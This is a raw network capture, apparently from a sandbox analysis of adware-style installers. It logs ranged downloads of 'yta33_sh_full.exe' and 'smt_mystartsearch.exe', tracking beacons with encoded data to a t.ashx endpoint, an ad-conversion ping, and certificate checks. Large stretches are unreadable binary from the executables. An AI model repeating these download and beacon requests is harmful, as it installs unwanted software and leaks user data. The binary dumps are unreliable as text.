.-\..5..'...Q?j........n...2... T.h. ...&...q..!.....f..\i. O.`..\.TQO
..Mhv)....p......^..... ......i....2...!..;)>.7.U..7.3m.?.......y(.
.-q.......G....^3.'...G...O,,.......C\.....M....mb...l......I*.E....(.
..}...Ko5.,:&M...Wc.1.....M......bH.%...Z.m@8..v"i.t.r..O^uJ..8MIJ. K.
bwK.....\c. ..)...I..s....s.......@ S.....KE........Y.5.b ...aI...[*h=
U.u..D.....2.ie...|..v.....7..\..jRCgJIB!..C.o&S.R.%..E.rE.....=...N..
R.@.........!........EU.  ..1......}...R.<.....B*..d....R'k........
2..9...N.:.Z..f9....Nro4.w..\..W...@.tTE.TCa....E...JEP..T.....#N....c
..3.U..X..Su.]Y.?...ED...@.aU..Dc..5.T~.....UE....X..].q.Cwi..X.......
... ......}......2/[../..gz..n.=Q..E.I..d..2...l...>b.NoF..L.P.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4000000-4249999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pGVhazpz-AyPVVpTiAa6zjITE76gjYZUfc4ZE6LY5TMQRfqh2peBJA==
..9....M.......e*(...k.. S.....h;.>.o.e,/..,.*.....&. ,9..t...q..2.
/.\. ........}V.&.o`..T.....0.}.qFx.........eN..\]...h..@..H.\H9.I.0.k
.G.b.%.T.e..e......`3(u.T.X..~^GY.:^.:^,Q...b.R..........V......_>.
.....J[aF!...V.A..*]a..W.t.e.Mh.s'_...*.H.Y.NX.'..,.S..e.Bx........Lup
..75..P.<.O....{.r...f|WA.G..X.n55.....b.....f.?,..L...pu.....C|.y.
..v.....x.Hv`#.6.qW...6."SU.....T...U..U=O..z5..J........N....A....jJ.
f..9F..?............."q....l....5.|!3.kx|C..;!e... ...w>.....|...t.
..6...X.fF....m....................*.z...H.K).M.c...-M...E. *h...LNN.-
cQ..R..V.(..4 7..j.i.KZ..u.I...2...{..>g.L...}..'.39g...^{....^...~
K..\...C.G1...)!y0.....Xl8,.qf.8...(......x.4`.d.....y0..`2g....y...[.
@s..F.....\.x._.QXn....a....-..k .-......y........C..w....V..*.....y..
..t....yf...-F........3X.w....&.P. Q1..ZA.yP...)..s5._.S..|..2.y~s..2.
.ZV...1.P?GI.@........j.I.>p.Z..h...)W.......K.x7.D....g.A.... G9..
.N.x..*...Mp..Nn.....]2.<.... ..,6....J.uw...Y..$...@-.......L.v.}.
e....c...".i...c..S~Q.....1...0bdP..] ...0.; ..\..g.BN.....|W.s.> (
L..b..5.|-b...<.[.".kE..............F.....O.Yu.n.|....8-.b._7i...d2
...........;L............y.V....qs6A3.F.....sZ .I....G9mF...2.)...>
Z~uJ.M.x*&..=..FdH..(....5.D..1z$W^....f.3.....80?..3.#.T.8.sp...<w
...3....1.Qq..........df.......O..@}p..$...F.....1;{^"..I.J....T.@..u.
...A.N.jU.ay.M....6%T...oS25.'.iW.%o^...../%4.....2....h*...=..PI2....
$...H4..y.a.7X.B.).f..,...........V.O..|.y..o.wF. |0..j..O..".9..D.'.K
..@...O...P=].,_.S/g.C.?b..v.x.V^.D......&...du..E.H. ....'...gH&.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4500000-4749999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: byRil5Ryuu-RM-XOEUnp4cpFWkaGyIWDV1_SgYekce_39NRjuhdNCg==
.`A..Q.K.......v.C*uD..~.......[zV...{....'.....g.....X.B..sx.......C.
..$...97..K..w._..x.....".s.,4..@...D.s3i..Mz."...ER.n.......F.E.G..E.
/.[S.D.Uy.J....`....r..lV.*...\.6k4i...3d.i.u^mP..Q.Y...{..9b...M..j..
...L.8rR....$.V....(_@.....@.......R..ay..3.#....(..Y...kz7...P..g.W..
. ...B..>.C..2-.b.W:.....Hj..l..4[.kNv.L.......r..)r....}..{...x.g.
.".I,jy.n..@..\....Q..8)br.4..Z.O....:...B`..Tr.....E.E...[.......w...
....)...e. ...P..5)..W.r.......S...3. ,C.pc..H.p...:..}.K8.,...}i.I3..
'.....?.. ....j.(s..f.n.....4.z.h....H%}.)...)..; ....=...DR...c^.....
|G.L.*......g.kL6[..l9g.H..J.....B........H..<........i.TE,7P...SA.
....\$..H..sV^.9.F.b.....;.....B....."..7...n...$..t...=|..G..=.|.....
z..h.^... ..y...._.4..._....J.{... ).<..cf...7:`......Ef.>ef....
..>...T...m6E^...jvKQs%x..`..s$.....,.<........Sx...=$..Y.....1H
0..c>.......i....<:V....S.Bb...VN..I[].>....h.(....G9t.....?|
.dI..-93....CLx.T....al'. Y..~...MO.........[..v..q_..Xs.spWC..&....r.
@S..o.....I/.}.e.u........bj...\d..}.9<.7.......K.j3..zz.#.(..A..:M
S...=5-...h...]j....P\............,B1md]..._J..=.8b.X..#...h.5...uSxOh
.f....._..l_CC.....<...j8^.U...8......"._....78g$.kV..Mon.~.....D.f
k.&..y..b".\x.....^...ox.......^/:P.........B. P....|...-A..=..TIR.,..
2..fb?..cg.k...)...A!|/t.....v.>O&..........p.{....?1,Y....u.....OQ
K......-....\B../.tV..:xO.QdjK."u...gQ........©..........,....$.\HJ.
...>..Q..%?.. .z.....OJ...S.m.C..|.vK.sx...y....=J.....Ah0..$%.C.ap
P.J.y...k.O:.J..Q...E.O..c........zc..G0.....e[.....0.1..v....g..g<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5250000-5499999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AcyMm8UoBDXMWl7b4vyLqnZbl1PTKyqllmMKdcLTLjLcDtuAdo2D9A==
R.....%...q....t.6.N....j8....Uk...d.p.P.@)....g..U.?7...T..nXb....y}R
njog>..u....?.k..x.`.>........,..Q.A..:,WE.........4!H#..l.9!.DK
.8..#..........5?.$.F..0.;....P..Y..Z..9....1.}.`....... ..z!T8..m.i.k
..*,...Qa.$......>.T5....C...5.hP..D. .&..1...b......Pd.yE..*.7R-..
......~.......B......X.. n..r.(...R......3:TU^.CM..D.. .NU...|.S....Uv
Fl..!...b,..d;...=.s...pkFQ.;....%......E..$...........9..tK..#.!D... 
jk...%.m.M..V..Q'..1..aQd..l1...$.q..T*cw-....v...5..[`...B.[..,.)!..e
.....).Z..Y).0C..:...0N.dx...[ .pz..9...A.....ga.DH.)..[.#..l.%J...DYQ
14.e..7....3A..SC.......P......;....)...#.......>...hm...7.d.5 .jk.
g.y.aZd....~...3...j.j...Y.6.>..z.9.........M.....Gf......*......L.
b}......SEq........F..Y..U}[..d......i..S..aj..(8.$...-..t.....t9.....
.s.....;.'...K..NO..*..cO..(.......O..../#L../...p...0..A..]O7....@}W.
~...s.].3C...!.z>.....E.s.../..B.V..P=.@,}.:Q-...A=i....`....".9...
.2_7....w|.5/.c...=k.0..uC..UD7..........?...........s..p....,N..g.3..
X?k.&..p...VOz3gc>u........4.:...,.wK..FJB.&..n....>@..#P*....pB
}.n..B. .'^P..&..:>.IN...........x..'.)qM....h.c...zj_.."1*.)1.^..L
(..j.c..0O..`.i).9yM...O...l3...G..ghT...Q.....A.2...^..._.|......5~S.
s....K.{.@......V...f...Q....#@........f.[,............2.J...=..\..l.B
.g...=./.u..'...7.M.j../...(^.l. .cB.W.".z81..QHQ!q-...~........1F....
..........^.."....[v...5.W.V.e....GF..*._.|=.]........#.<..:u3T;.`l
)......9;..A....x.m.....T.~..^.0.WJ..& `....A..Hb.....W...z..n M....#H
...UIHW..5...[5..,..J.|.n.#d( ...hJ..%>.[...#..mf...@.j........<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5500000-5749999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JIdFtm81ndBjWroGNuoiqAnUc2vqeEPC9-JEfyRv8bqDvkMBQQS1wA==
{..E...,.p]......N[Ap.i...F...S....%.rj........F..B...u...OO.=......Qd
.,....Y....U}...........=r. t....GZ.^x..U......u.G...O.?.R<....`...
-.V%.....n.b.....*..T...Na..c.B..6....^........(....rBU$.P (...Ub(j..i
...Z. .....%.p..... y.........*.._..$^&.o.C.Z....<...Q.......H.oc".
T..>...4,wO...E....Y"R... ...5....t..d..<...u.iKq.Ax...E.....pj.
D.Q.....,2&.h..V.7}...4..^.~.0.......'>.d.0. |...^....XI....N5.....
RS..N,.D.m..U.....{.M.......HY.W>_v.....:..o.aR...8k..9..d1{ |[....
...?d.{.))...T...P.@.&..( .]..5..q..a_..-2o .....| ........ii..^..89..
|c.E.O..};.43.\{.Y.hYb...v4.F.8...<..f..'.A....e)p.......9:.M..IqG.
......U.Yn..\0z!.~I._..'(`.1]8.uZ.q......p.5W].a.z{)'?..\.[...Nz.....l
...p._o*3.9...M.c.n.r...,.`..x.. ......-.I.)...D...B...`..3!4I. ...*r.
j.r(<..1...\=.z3.r.gp..F..ESV./]....!...O.....Mi......6\.=.M@.".gv.
..?. ....ag.X.?Qv%..".........;..C..".......8....=...U)2E..46.#..r..R.
`1s....G..Dps..Z0[R<..1.;.L........P.VY.. ..>n.<.TC.P)..`..p.
.U7...r..._..........(2..)!...._%.x1q.m.S%...._M6`.'{.............k8Q.
....\.I."B.p...)uU}..B....6l.XC.O...T.I.'..9.y..&.hj....Z....W..|Yh.i.
#...!4~`SR&...5......q).............p_(....D.............' ....Y.t.I..
........9.u4.|..|.-p...L=z.M...I.i...z..qu....XG...e ."A5....=........
...4.]...[...K.......?m.g...U.N....._...w......G.S).8.A]..Uu.......P..
...1..9;.....-f"[..Tl....Lg...0 ..a...h.{u=.j?.5.`.p.s..h.4.....F...zZ
.}:...'*....E....-$(.....Nr.S.....6..`1..Xp-...s..h..... ..E.(..t/#.0.
....V...<K`N.G..._...M3?...../.=#.....x.$6.......h..J..8.....SH<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7000000-7249999/7592848

Age: 19526

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HrmoSlN3I62UPbLixEssqD7ti91jxC8OySjKlJc1uuHoJA9DDLsufw==
..2..1.u..[....U....se..... v......fLN=O}{.>.)..i.|S.'...Ou}k..pY.y
...4.\: .u..[x.@j....,'.S...xX6..<*.......=......u.J=4 .(.:..2Fg.u.
.S .Im..eRm...HQ:E..f#.....!c.^.>`.S).QL8...wb6l....II2..".m@...Z=.
$..%.........*..T..Z...n...s-.F!.F.!.Y..f...J2..gK.t...#..".@.....HV.-
..'..Z^#9@`O.P.{....y.j#"M.]..-.. ..D....(..Y<.......^..!......^5..
b7J.........-..?....gQ.`.....3......z.`...y~.....-j.....sL."k.....!s..
w......M.q......o..t..0....)!.\.P.d...|`.l.?..U8R[.,%...A..Qo......f..
..\..o./.f..;....x....q.g.../.......*.F. .=.'....(..~.......{/..5.(..|
_\[.r....t.S..e.....;j(.QW....7\.. ...V.....'O....{.p.N....%.;.....#..
..E.B..j<MOj.*C...K.:M]=".b..c5.l......~..r.k..5.*..g.....Oq.......
...-.rqP..N...(....Kb...kKi.H`.aU..w.bz...S.......N..0A.....?.H,.W....
.ou@."....8..Gk6....NEy*.......D.A.....?.."...l.....'.....I2.Bs.H.5...
<2...T.....M...9.. .......eJ..pgzg...WU...0Z..i`5..{(..<........
Bu.G...V...W#-r.T...p)U......V.s}Q.4...%.X).iO...H.......Y....O..p..,.
._..?n'1..v. ..WW. .vJ..v1.E.....V....c..Oi.AJ...d.....f0!.....Cb.Z...
B.|.2...\.K.&[./._N......<>.kl..z.._.B..Y.!;. .Q..T...N.........
....H....N.Jd...<R>.....?JT... .>j..xz....lG&.d....j..aR...!.
.D.11..-v.;..l...6....t...fI..I4i|...7Y$...:h.....>1.,DFn#.j.....10
..5W.?..7..(....mZm>..5P..98.K..R&.!.J..6..{..I4...`o..8....a...fi.
......o/.d...._s&..3K.......F.....d.O...r.2....v..*..}....wK.8...k..Z\
...-.Yv..VU........p....|\...]#...X.DG..% .4......D,Q.....:(1.. 7x..*.
...hG['.i.....~...N..$.p..D..VZ...Saw..$.......:.......*.Z.N......<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7500000-7592847

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 92848

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7500000-7592847/7592848

Age: 19526

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7K3DvqPdSMZbNHAAS_aTL9TtQBXG5kUQAamM5Qln_RPVcOJXai0nxg==
1."x..s..../o. fq..A..d<lZh.._...7.4..._.9..W.XX=.v.I.O............
.%.....5.....q\....L......6...8.....Y..5.:.6A...[./[._...{>.4...$..
;.3J...7_........?<2.N...{...}>......=..Ye...H..'...........\.N.
...2|...;.9.j....S..M..;..N.7;.H.1...w.......=6.........=C...5.~.~..\.
........=.}....7.._c...4x{e.<..R..V..]....*<1.......|.]].8......
.....7..u.....k...w.k;qLt..9"..^A..Q.&.W#......G../...8o.6.8..d.pH.. r
(.h$.R@...6. /... ....U.9.....!S........9:.9.[.v."x.BTT...4.).D....B..
.....C(.t&..../.b...#J.&|a%.cjg.T.....-Ea ,".....9......4..juDE./..3.3
8&...f..P..1...Q..E....gsL(..l.V...3LN.!..E..0..z.rf..b}kAy...-ghs....
]..%,..c.. ..V......3.: ........vv,.k<.)..E..FcQ).....@H..d.h...K.x
...b(......[s.ov .S....&.#a.7..Y:...._Ra.......D.......E...c.....~[...
!..K....4.D..^;.....]T|.)Fce...1w..k. .t..Uo ..w........3w..a.7.5....s
..H.......rL.&.]......z..l...6....f........u.mV...f!Y.....U}L2Ym:.~a..
.v.....(..y}...^j.....U.......h-P...:.kv.57c...X..l......e.....g..NS..
..`...P_.;o.. ...s..H.Q.....(.k.K.m.m.t.....t.....V@.\.k\.z..|.^b.....
,...b8.".(~..V^M].O.)....X..**.....Vs.M.3.vu...l].@..m...V....~.....!.
...U....!.0.._...tT.....8..3...vvu.jfl..j.....z..G....J..u..R.....l(..
`.a..>.. ... g.1...gt.*..*.....s....\....:.:.*m.fu..'..... .q.^3...
......=a...@.S..&E8-...8.'.... ]u..p..5o1w5........z2(h-0..p6..{s.[h..
.c}....~. Ii.oJ.......Q.......x..|!.;..c.DwhcQ`l..H.u..6.M.T.wl..t,..X
.]6......T...3uP..c@.P....2...C.#...n.y.h6..2Rm4k.?uF#u%N..Y.."G......
8...D19...Q.fy.$..m..5..H%1".1H.8..;.......ef..8Y..........i.'..7y<<< skipped >>>

GET /crls/secureca.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.geotrust.com


HTTP/1.1 200 OK

Server: Apache

ETag: "00aec449227f8baa8d2eea593985d330:1420621221"

Last-Modified: Wed, 07 Jan 2015 09:00:21 GMT

Date: Wed, 07 Jan 2015 09:34:54 GMT

Content-Length: 878

Connection: keep-alive

Content-Type: application/pkix-crl

0..j0...0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equ
ifax Secure Certificate Authority..150107084300Z..150117084300Z0..R0..
..X...140427081922Z0....v...140618150003Z0........140429180917Z0......
..140709194633Z0........140416233935Z0........140521155053Z0.....)..14
0617185515Z0....Bf..120627171053Z0.....3..020515130611Z0.....#..140606
204021Z0........100729164439Z0....x...140507204001Z0........1406062221
39Z0....%...020514181157Z0....S...140423105438Z0........140725020038Z0
........100729164732Z0....M\..140430000442Z0.....-..140617185011Z0....
V...140624123102Z0........120627171025Z0........100301134531Z0........
140618143256Z0........120627171017Z0.....>..140711125531Z0....[...1
00730213120Z0....j...140226123519Z0...*.H..............`0..x...'b. ..m
E.E=&.;.bj2.<.......-0..a$.`.?}.x..}..M..#..M.'...m.]`.....L_2.....
..ZCR.V..D...7.s}oW.:.. ..N....Eq;&]]voOB...HTTP/1.1 200 OK..Server: A
pache..ETag: "00aec449227f8baa8d2eea593985d330:1420621221"..Last-Modif
ied: Wed, 07 Jan 2015 09:00:21 GMT..Date: Wed, 07 Jan 2015 09:34:54 GM
T..Content-Length: 878..Connection: keep-alive..Content-Type: applicat
ion/pkix-crl..0..j0...0...*.H........0N1.0...U....US1.0...U....Equifax
1-0 ..U...$Equifax Secure Certificate Authority..150107084300Z..150117
084300Z0..R0....X...140427081922Z0....v...140618150003Z0........140429
180917Z0........140709194633Z0........140416233935Z0........1405211550
53Z0.....)..140617185515Z0....Bf..120627171053Z0.....3..020515130611Z0
.....#..140606204021Z0........100729164439Z0....x...140507204001Z0

<<< skipped >>>

GET /t.ashx?e=4mC0vXGWFtoJz2TpdH2qbGlBVeUjsyYpCQmjH2nHWYlAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UxKoDXB7O_uHHZ7HPIxIHuGXUAqw27ynujAHX8Cy5bqbgLoaXsSq9A==

abfgshdgfjhsk....

GET /t.ashx?e=4mC0vXGWFtoJz2TpdH2qbGlBVeUjsyYpCQmjH2nHWYlAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zxkfvI0H2NgJ6qzLPjVMUeRbz8BeyZZC10Y7R3CmCGuTIeN3AD3wbA==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FnmQieQekD5pl1FkXFxk76Ln4dp4B9ej0jKeDwSdsn8OA_WtlzRhGw==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:09 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: FnmQieQekD5pl1FkXFxk76Ln4dp4B9ej
0jKeDwSdsn8OA_WtlzRhGw==..abfgshdgfjhsk..

GET /ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920&ipr=y HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Jan 2015 09:34:41 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............!.......,...........D.;HTTP/1.1 200 OK..Content-Typ
e: image/gif..Date: Wed, 07 Jan 2015 09:34:41 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..X-Content-Type-Options: nosniff..Server: adclick_
server..Content-Length: 42..X-XSS-Protection: 1; mode=block..Alternate
-Protocol: 80:quic,p=0.02..GIF89a.............!.......,...........D.;.
.

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=192700-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 115620

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 192700-308319/308320
P..$..Y]... P...@..].U...M..E....}..`......A.P.l$..Y]... P...@..].....
..........SVW.T$..D$..L$.URPQQh....d.5.....P...3..D$.d.%.....D$0.X..L$
,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...E........C...E....
d........._^[..L$..A..........t3.D$..H.3......U.h..p..p..p..>......
].D$..T$.........U.L$..).q..q..q(........]...UVWS..3.3.3.3.3...[_^]...
....j...D..3.3.3.3.3...U..SVWj.RhF...Q..^.._^[].U.l$.RQ.t$.........]..
.U...E...u..X.................]..@.]............T$..L$...t...D$...%...
..s..L$.W.|$....].T$.......|...%X.......J..W.....r1.....t. .........u.
......................t.....t.........u..D$._..D$..j.h@.........u....u
..\.... ...................xy;5l...sq................@.....D8....tSV..
J..Y.e.....@....D8..t.V.U...Y.....*.............}..E.............).u..
}.V..K..Y....... .............2.......l....U..VW.}.W.fK..Y...tP.@.....
.u........u....u..@D.t.j..;K..j....2K..YY;.t.W.&K..YP..|@....u....@...
...3.W..J..Y...........@.......D9....t.V.0...Y.....3._^].U..V.u..F..t 
.F..t..v..T....f.....3.Y...F..F.^].U..V.u...u.V.....Y./V.,...Y..t.....
..F..@..t.V.{...P..J..Y..Y....3.^].U..SV.u.3..F.$.<.uB.F.....t9W.&g
t; ~...~.W.v.V.8...YP.. .....;.u..F...y.....F....N. ..._.N..f....^..[]
.j......Y.j.h`........3..}.!}.j..y...Y!}.3..]..u.;5...................
.t].@..tWPV.....YY.E..............@..t0...u.P.....Y...t.G.}.....u..@..
t.P.....Y...u..E..e.......F...]..}..u.......4.V.....YY..E.............
..t..E........]..}.j......Y.U..V.u...t.j.3.X..;E.s..b.........3..Q..u.
..u.F3....w.Vj..58......@......u*.=<....t.V.....Y..u..E...t....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=346165, public, no-transform, must-revalidate

Last-Modified: Sun, 4 Jan 2015 09:44:13 GMT

Expires: Sun, 11 Jan 2015 09:44:13 GMT

Date: Wed, 07 Jan 2015 09:36:46 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015010
4094413Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150104094413Z....20150111094413Z0...*.H........
